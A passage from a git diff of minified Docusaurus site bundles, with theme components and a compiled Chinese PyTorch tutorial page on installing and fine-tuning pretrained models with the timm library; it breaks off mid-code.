e=s<r?1:-1;"-"!==a&&".."!==a&&"\u2025"!==a||(r+=e);for(let n=s;n!==r;n+=e)t.push(n)}}return t}n.default=t,e.exports=t},27293:(e,n,t)=>{"use strict";t.d(n,{A:()=>_});var s=t(96540),a=t(74848);function r(e){const{mdxAdmonitionTitle:n,rest:t}=function(e){const n=s.Children.toArray(e),t=n.find(e=>s.isValidElement(e)&&"mdxAdmonitionTitle"===e.type),r=n.filter(e=>e!==t),i=t?.props.children;return{mdxAdmonitionTitle:i,rest:r.length>0?(0,a.jsx)(a.Fragment,{children:r}):null}}(e.children),r=e.title??n;return{...e,...r&&{title:r},children:t}}var i=t(34164),o=t(21312),c=t(17559);const l="admonition_xJq3",d="admonitionHeading_Gvgb",u="admonitionIcon_Rf37",m="admonitionContent_BuS1";function h({type:e,className:n,children:t}){return(0,a.jsx)("div",{className:(0,i.A)(c.G.common.admonition,c.G.common.admonitionType(e),l,n),children:t})}function f({icon:e,title:n}){return(0,a.jsxs)("div",{className:d,children:[(0,a.jsx)("span",{className:u,children:e}),n]})}function p({children:e}){return e?(0,a.jsx)("div",{className:m,children:e}):null}function x(e){const{type:n,icon:t,title:s,children:r,className:i}=e;return(0,a.jsxs)(h,{type:n,className:i,children:[s||t?(0,a.jsx)(f,{title:s,icon:t}):null,(0,a.jsx)(p,{children:r})]})}function g(e){return(0,a.jsx)("svg",{viewBox:"0 0 14 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"})})}const j={icon:(0,a.jsx)(g,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.note",description:"The default label used for the Note admonition (:::note)",children:"note"})};function b(e){return(0,a.jsx)(x,{...j,...e,className:(0,i.A)("alert alert--secondary",e.className),children:e.children})}function v(e){return(0,a.jsx)("svg",{viewBox:"0 0 12 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"})})}const N={icon:(0,a.jsx)(v,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.tip",description:"The default label used for the Tip admonition (:::tip)",children:"tip"})};function A(e){return(0,a.jsx)(x,{...N,...e,className:(0,i.A)("alert alert--success",e.className),children:e.children})}function y(e){return(0,a.jsx)("svg",{viewBox:"0 0 14 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"})})}const C={icon:(0,a.jsx)(y,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.info",description:"The default label used for the Info admonition (:::info)",children:"info"})};function w(e){return(0,a.jsx)(x,{...C,...e,className:(0,i.A)("alert alert--info",e.className),children:e.children})}function k(e){return(0,a.jsx)("svg",{viewBox:"0 0 16 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"})})}const L={icon:(0,a.jsx)(k,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.warning",description:"The default label used for the Warning admonition (:::warning)",children:"warning"})};function B(e){return(0,a.jsx)("svg",{viewBox:"0 0 12 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M5.05.31c.81 2.17.41 3.38-.52 4.31C3.55 5.67 1.98 6.45.9 7.98c-1.45 2.05-1.7 6.53 3.53 7.7-2.2-1.16-2.67-4.52-.3-6.61-.61 2.03.53 3.33 1.94 2.86 1.39-.47 2.3.53 2.27 1.67-.02.78-.31 1.44-1.13 1.81 3.42-.59 4.78-3.42 4.78-5.56 0-2.84-2.53-3.22-1.25-5.61-1.52.13-2.03 1.13-1.89 2.75.09 1.08-1.02 1.8-1.86 1.33-.67-.41-.66-1.19-.06-1.78C8.18 5.31 8.68 2.45 5.05.32L5.03.3l.02.01z"})})}const T={icon:(0,a.jsx)(B,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.danger",description:"The default label used for the Danger admonition (:::danger)",children:"danger"})};const E={icon:(0,a.jsx)(k,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.caution",description:"The default label used for the Caution admonition (:::caution)",children:"caution"})};const H={...{note:b,tip:A,info:w,warning:function(e){return(0,a.jsx)(x,{...L,...e,className:(0,i.A)("alert alert--warning",e.className),children:e.children})},danger:function(e){return(0,a.jsx)(x,{...T,...e,className:(0,i.A)("alert alert--danger",e.className),children:e.children})}},...{secondary:e=>(0,a.jsx)(b,{title:"secondary",...e}),important:e=>(0,a.jsx)(w,{title:"important",...e}),success:e=>(0,a.jsx)(A,{title:"success",...e}),caution:function(e){return(0,a.jsx)(x,{...E,...e,className:(0,i.A)("alert alert--warning",e.className),children:e.children})}}};function _(e){const n=r(e),t=(s=n.type,H[s]||(console.warn(`No admonition component found for admonition type "${s}". Using Info as fallback.`),H.info));var s;return(0,a.jsx)(t,{...n})}},28453:(e,n,t)=>{"use strict";t.d(n,{R:()=>i,x:()=>o});var s=t(96540);const a={},r=s.createContext(a);function i(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:i(e.components),s.createElement(r.Provider,{value:n},e.children)}},65195:(e,n,t)=>{"use strict";t.d(n,{A:()=>p});var s=t(96540),a=t(6342);function r(e){const n=e.map(e=>({...e,parentIndex:-1,children:[]})),t=Array(7).fill(-1);n.forEach((e,n)=>{const s=t.slice(2,e.level);e.parentIndex=Math.max(...s),t[e.level]=n});const s=[];return n.forEach(e=>{const{parentIndex:t,...a}=e;t>=0?n[t].children.push(a):s.push(a)}),s}function i({toc:e,minHeadingLevel:n,maxHeadingLevel:t}){return e.flatMap(e=>{const s=i({toc:e.children,minHeadingLevel:n,maxHeadingLevel:t});return function(e){return e.level>=n&&e.level<=t}(e)?[{...e,children:s}]:s})}function o(e){const n=e.getBoundingClientRect();return n.top===n.bottom?o(e.parentNode):n}function c(e,{anchorTopOffset:n}){const t=e.find(e=>o(e).top>=n);if(t){return function(e){return e.top>0&&e.bottom<window.innerHeight/2}(o(t))?t:e[e.indexOf(t)-1]??null}return e[e.length-1]??null}function l(){const e=(0,s.useRef)(0),{navbar:{hideOnScroll:n}}=(0,a.p)();return(0,s.useEffect)(()=>{e.current=n?0:document.querySelector(".navbar").clientHeight},[n]),e}function d(e){const n=(0,s.useRef)(void 0),t=l();(0,s.useEffect)(()=>{if(!e)return()=>{};const{linkClassName:s,linkActiveClassName:a,minHeadingLevel:r,maxHeadingLevel:i}=e;function o(){const e=function(e){return Array.from(document.getElementsByClassName(e))}(s),o=function({minHeadingLevel:e,maxHeadingLevel:n}){const t=[];for(let s=e;s<=n;s+=1)t.push(`h${s}.anchor`);return Array.from(document.querySelectorAll(t.join()))}({minHeadingLevel:r,maxHeadingLevel:i}),l=c(o,{anchorTopOffset:t.current}),d=e.find(e=>l&&l.id===function(e){return decodeURIComponent(e.href.substring(e.href.indexOf("#")+1))}(e));e.forEach(e=>{!function(e,t){t?(n.current&&n.current!==e&&n.current.classList.remove(a),e.classList.add(a),n.current=e):e.classList.remove(a)}(e,e===d)})}return document.addEventListener("scroll",o),document.addEventListener("resize",o),o(),()=>{document.removeEventListener("scroll",o),document.removeEventListener("resize",o)}},[e,t])}var u=t(28774),m=t(74848);function h({toc:e,className:n,linkClassName:t,isChild:s}){return e.length?(0,m.jsx)("ul",{className:s?void 0:n,children:e.map(e=>(0,m.jsxs)("li",{children:[(0,m.jsx)(u.A,{to:`#${e.id}`,className:t??void 0,dangerouslySetInnerHTML:{__html:e.value}}),(0,m.jsx)(h,{isChild:!0,toc:e.children,className:n,linkClassName:t})]},e.id))}):null}const f=s.memo(h);function p({toc:e,className:n="table-of-contents table-of-contents__left-border",linkClassName:t="table-of-contents__link",linkActiveClassName:o,minHeadingLevel:c,maxHeadingLevel:l,...u}){const h=(0,a.p)(),p=c??h.tableOfContents.minHeadingLevel,x=l??h.tableOfContents.maxHeadingLevel,g=function({toc:e,minHeadingLevel:n,maxHeadingLevel:t}){return(0,s.useMemo)(()=>i({toc:r(e),minHeadingLevel:n,maxHeadingLevel:t}),[e,n,t])}({toc:e,minHeadingLevel:p,maxHeadingLevel:x});return d((0,s.useMemo)(()=>{if(t&&o)return{linkClassName:t,linkActiveClassName:o,minHeadingLevel:p,maxHeadingLevel:x}},[t,o,p,x])),(0,m.jsx)(f,{toc:g,className:n,linkClassName:t,...u})}},67763:(e,n,t)=>{"use strict";t.d(n,{A:()=>l});t(96540);var s=t(34164),a=t(65195);const r={tableOfContents:"tableOfContents_bqdL",docItemContainer:"docItemContainer_F8PC"};var i=t(74848);const o="table-of-contents__link toc-highlight",c="table-of-contents__link--active";function l({className:e,...n}){return(0,i.jsx)("div",{className:(0,s.A)(r.tableOfContents,"thin-scrollbar",e),children:(0,i.jsx)(a.A,{...n,linkClassName:o,linkActiveClassName:c})})}},86896:(e,n,t)=>{"use strict";t.d(n,{A:()=>g});t(96540);var s=t(34164),a=t(21312),r=t(5260),i=t(74848);function o(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.unlistedBanner.title",description:"The unlisted content banner title",children:"Unlisted page"})}function c(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.unlistedBanner.message",description:"The unlisted content banner message",children:"This page is unlisted. Search engines will not index it, and only users having a direct link can access it."})}function l(){return(0,i.jsx)(r.A,{children:(0,i.jsx)("meta",{name:"robots",content:"noindex, nofollow"})})}function d(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.draftBanner.title",description:"The draft content banner title",children:"Draft page"})}function u(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.draftBanner.message",description:"The draft content banner message",children:"This page is a draft. It will only be visible in dev and be excluded from the production build."})}var m=t(17559),h=t(27293);function f({className:e}){return(0,i.jsx)(h.A,{type:"caution",title:(0,i.jsx)(d,{}),className:(0,s.A)(e,m.G.common.draftBanner),children:(0,i.jsx)(u,{})})}function p({className:e}){return(0,i.jsx)(h.A,{type:"caution",title:(0,i.jsx)(o,{}),className:(0,s.A)(e,m.G.common.unlistedBanner),children:(0,i.jsx)(c,{})})}function x(e){return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(l,{}),(0,i.jsx)(p,{...e})]})}function g({metadata:e}){const{unlisted:n,frontMatter:t}=e;return(0,i.jsxs)(i.Fragment,{children:[(n||t.unlisted)&&(0,i.jsx)(x,{}),t.draft&&(0,i.jsx)(f,{})]})}}}]); \ No newline at end of file diff --git a/en/assets/js/11901d5e.9dee8128.js b/en/assets/js/11901d5e.9dee8128.js new file mode 100644 index 0000000..18c1550 --- /dev/null +++ b/en/assets/js/11901d5e.9dee8128.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8087],{28453:(e,n,t)=>{t.d(n,{R:()=>r,x:()=>d});var s=t(96540);const i={},l=s.createContext(i);function r(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),s.createElement(l.Provider,{value:n},e.children)}},62858:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>o,frontMatter:()=>r,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"},"next":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision"}}');var i=t(74848),l=t(28453);const r={},d="6.3 \u6a21\u578b\u5fae\u8c03-timm.md",c={},h=[{value:"6.3.1 timm\u7684\u5b89\u88c5",id:"631-timm\u7684\u5b89\u88c5",level:2},{value:"6.3.2 \u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b",id:"632-\u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b",level:2},{value:"6.3.3 \u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b",id:"633-\u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b",level:2},{value:"6.3.4 \u6a21\u578b\u7684\u4fdd\u5b58",id:"634-\u6a21\u578b\u7684\u4fdd\u5b58",level:2},{value:"\u53c2\u8003\u6750\u6599",id:"\u53c2\u8003\u6750\u6599",level:2}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03-timmmd",children:"6.3 \u6a21\u578b\u5fae\u8c03-timm.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03---timm",children:"6.3 \u6a21\u578b\u5fae\u8c03 - timm"}),"\n",(0,i.jsxs)(n.p,{children:["\u9664\u4e86\u4f7f\u7528",(0,i.jsx)(n.code,{children:"torchvision.models"}),"\u8fdb\u884c\u9884\u8bad\u7ec3\u4ee5\u5916\uff0c\u8fd8\u6709\u4e00\u4e2a\u5e38\u89c1\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u5e93\uff0c\u53eb\u505a",(0,i.jsx)(n.code,{children:"timm"}),"\uff0c\u8fd9\u4e2a\u5e93\u662f\u7531Ross Wightman\u521b\u5efa\u7684\u3002\u91cc\u9762\u63d0\u4f9b\u4e86\u8bb8\u591a\u8ba1\u7b97\u673a\u89c6\u89c9\u7684SOTA\u6a21\u578b\uff0c\u53ef\u4ee5\u5f53\u4f5c\u662ftorchvision\u7684\u6269\u5145\u7248\u672c\uff0c\u5e76\u4e14\u91cc\u9762\u7684\u6a21\u578b\u5728\u51c6\u786e\u5ea6\u4e0a\u4e5f\u8f83\u9ad8\u3002\u5728\u672c\u7ae0\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u4e3b\u8981\u662f\u9488\u5bf9\u8fd9\u4e2a\u5e93\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u4f7f\u7528\u505a\u53d9\u8ff0\uff0c\u5176\u4ed6\u90e8\u5206\u5185\u5bb9\uff08\u6570\u636e\u6269\u589e\uff0c\u4f18\u5316\u5668\u7b49\uff09\u5982\u679c\u5927\u5bb6\u611f\u5174\u8da3\uff0c\u53ef\u4ee5\u53c2\u8003\u4ee5\u4e0b\u4e24\u4e2a\u94fe\u63a5\u3002"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["Github\u94fe\u63a5\uff1a",(0,i.jsx)(n.a,{href:"https://github.com/rwightman/pytorch-image-models",children:"https://github.com/rwightman/pytorch-image-models"})]}),"\n",(0,i.jsxs)(n.li,{children:["\u5b98\u7f51\u94fe\u63a5\uff1a",(0,i.jsx)(n.a,{href:"https://fastai.github.io/timmdocs/",children:"https://fastai.github.io/timmdocs/"}),"\n",(0,i.jsx)(n.a,{href:"https://rwightman.github.io/pytorch-image-models/",children:"https://rwightman.github.io/pytorch-image-models/"})]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"631-timm\u7684\u5b89\u88c5",children:"6.3.1 timm\u7684\u5b89\u88c5"}),"\n",(0,i.jsx)(n.p,{children:"\u5173\u4e8etimm\u7684\u5b89\u88c5\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u4ee5\u4e0b\u4e24\u79cd\u65b9\u5f0f\u8fdb\u884c\uff1a"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u901a\u8fc7pip\u5b89\u88c5"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"pip install timm\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u901a\u8fc7\u6e90\u7801\u7f16\u8bd1\u5b89\u88c5"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"git clone https://github.com/rwightman/pytorch-image-models\ncd pytorch-image-models && pip install -e .\n"})}),"\n",(0,i.jsx)(n.h2,{id:"632-\u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b",children:"6.3.2 \u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\u67e5\u770btimm\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\n\u622a\u6b62\u52302022.3.27\u65e5\u4e3a\u6b62\uff0ctimm\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u5df2\u7ecf\u8fbe\u5230\u4e86592\u4e2a\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(n.code,{children:"timm.list_models()"}),"\u65b9\u6cd5\u67e5\u770btimm\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\uff08\u6ce8\uff1a\u672c\u7ae0\u6d4b\u8bd5\u4ee3\u7801\u5747\u662f\u5728jupyter notebook\u4e0a\u8fdb\u884c\uff09"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"import timm\navail_pretrained_models = timm.list_models(pretrained=True)\nlen(avail_pretrained_models)\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"592\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsxs)(n.li,{children:["\u67e5\u770b\u7279\u5b9a\u6a21\u578b\u7684\u6240\u6709\u79cd\u7c7b\n\u6bcf\u4e00\u79cd\u7cfb\u5217\u53ef\u80fd\u5bf9\u5e94\u7740\u4e0d\u540c\u65b9\u6848\u7684\u6a21\u578b\uff0c\u6bd4\u5982Resnet\u7cfb\u5217\u5c31\u5305\u62ec\u4e86ResNet18\uff0c50\uff0c101\u7b49\u6a21\u578b\uff0c\u6211\u4eec\u53ef\u4ee5\u5728",(0,i.jsx)(n.code,{children:"timm.list_models()"}),"\u4f20\u5165\u60f3\u67e5\u8be2\u7684\u6a21\u578b\u540d\u79f0\uff08\u6a21\u7cca\u67e5\u8be2\uff09\uff0c\u6bd4\u5982\u6211\u4eec\u60f3\u67e5\u8be2densenet\u7cfb\u5217\u7684\u6240\u6709\u6a21\u578b\u3002"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'all_densnet_models = timm.list_models("*densenet*")\nall_densnet_models\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u53d1\u73b0\u4ee5\u5217\u8868\u7684\u5f62\u5f0f\u8fd4\u56de\u4e86\u6240\u6709densenet\u7cfb\u5217\u7684\u6240\u6709\u6a21\u578b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"['densenet121',\n 'densenet121d',\n 'densenet161',\n 'densenet169',\n 'densenet201',\n 'densenet264',\n 'densenet264d_iabn',\n 'densenetblur121d',\n 'tv_densenet121']\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsxs)(n.li,{children:["\u67e5\u770b\u6a21\u578b\u7684\u5177\u4f53\u53c2\u6570\n\u5f53\u6211\u4eec\u60f3\u67e5\u770b\u4e0b\u6a21\u578b\u7684\u5177\u4f53\u53c2\u6570\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95ee\u6a21\u578b\u7684",(0,i.jsx)(n.code,{children:"default_cfg"}),"\u5c5e\u6027\u6765\u8fdb\u884c\u67e5\u770b\uff0c\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = timm.create_model('resnet34',num_classes=10,pretrained=True)\nmodel.default_cfg\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"{'url': 'https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-weights/resnet34-43635321.pth',\n 'num_classes': 1000,\n 'input_size': (3, 224, 224),\n 'pool_size': (7, 7),\n 'crop_pct': 0.875,\n 'interpolation': 'bilinear',\n 'mean': (0.485, 0.456, 0.406),\n 'std': (0.229, 0.224, 0.225),\n 'first_conv': 'conv1',\n 'classifier': 'fc',\n 'architecture': 'resnet34'}\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95ee\u8fd9\u4e2a",(0,i.jsx)(n.a,{href:"https://rwightman.github.io/pytorch-image-models/results/",children:"\u94fe\u63a5"})," \u67e5\u770b\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u51c6\u786e\u5ea6\u7b49\u4fe1\u606f\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"633-\u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b",children:"6.3.3 \u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u5f97\u5230\u6211\u4eec\u60f3\u8981\u4f7f\u7528\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(n.code,{children:"timm.create_model()"}),"\u7684\u65b9\u6cd5\u6765\u8fdb\u884c\u6a21\u578b\u7684\u521b\u5efa\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f20\u5165\u53c2\u6570",(0,i.jsx)(n.code,{children:"pretrained=True"}),"\uff0c\u6765\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u3002\u540c\u6837\u7684\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528\u8ddftorchvision\u91cc\u9762\u7684\u6a21\u578b\u4e00\u6837\u7684\u65b9\u6cd5\u67e5\u770b\u6a21\u578b\u7684\u53c2\u6570\uff0c\u7c7b\u578b/"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"import timm\nimport torch\n\nmodel = timm.create_model('resnet34',pretrained=True)\nx = torch.randn(1,3,224,224)\noutput = model(x)\noutput.shape\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"torch.Size([1, 1000])\n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u67e5\u770b\u67d0\u4e00\u5c42\u6a21\u578b\u53c2\u6570\uff08\u4ee5\u7b2c\u4e00\u5c42\u5377\u79ef\u4e3a\u4f8b\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = timm.create_model('resnet34',pretrained=True)\nlist(dict(model.named_children())['conv1'].parameters())\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"[Parameter containing:\n tensor([[[[-2.9398e-02, -3.6421e-02, -2.8832e-02, ..., -1.8349e-02,\n -6.9210e-03, 1.2127e-02],\n [-3.6199e-02, -6.0810e-02, -5.3891e-02, ..., -4.2744e-02,\n -7.3169e-03, -1.1834e-02],\n ...\n [ 8.4563e-03, -1.7099e-02, -1.2176e-03, ..., 7.0081e-02,\n 2.9756e-02, -4.1400e-03]]]], requires_grad=True)]\n \n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u4fee\u6539\u6a21\u578b\uff08\u5c061000\u7c7b\u6539\u4e3a10\u7c7b\u8f93\u51fa\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = 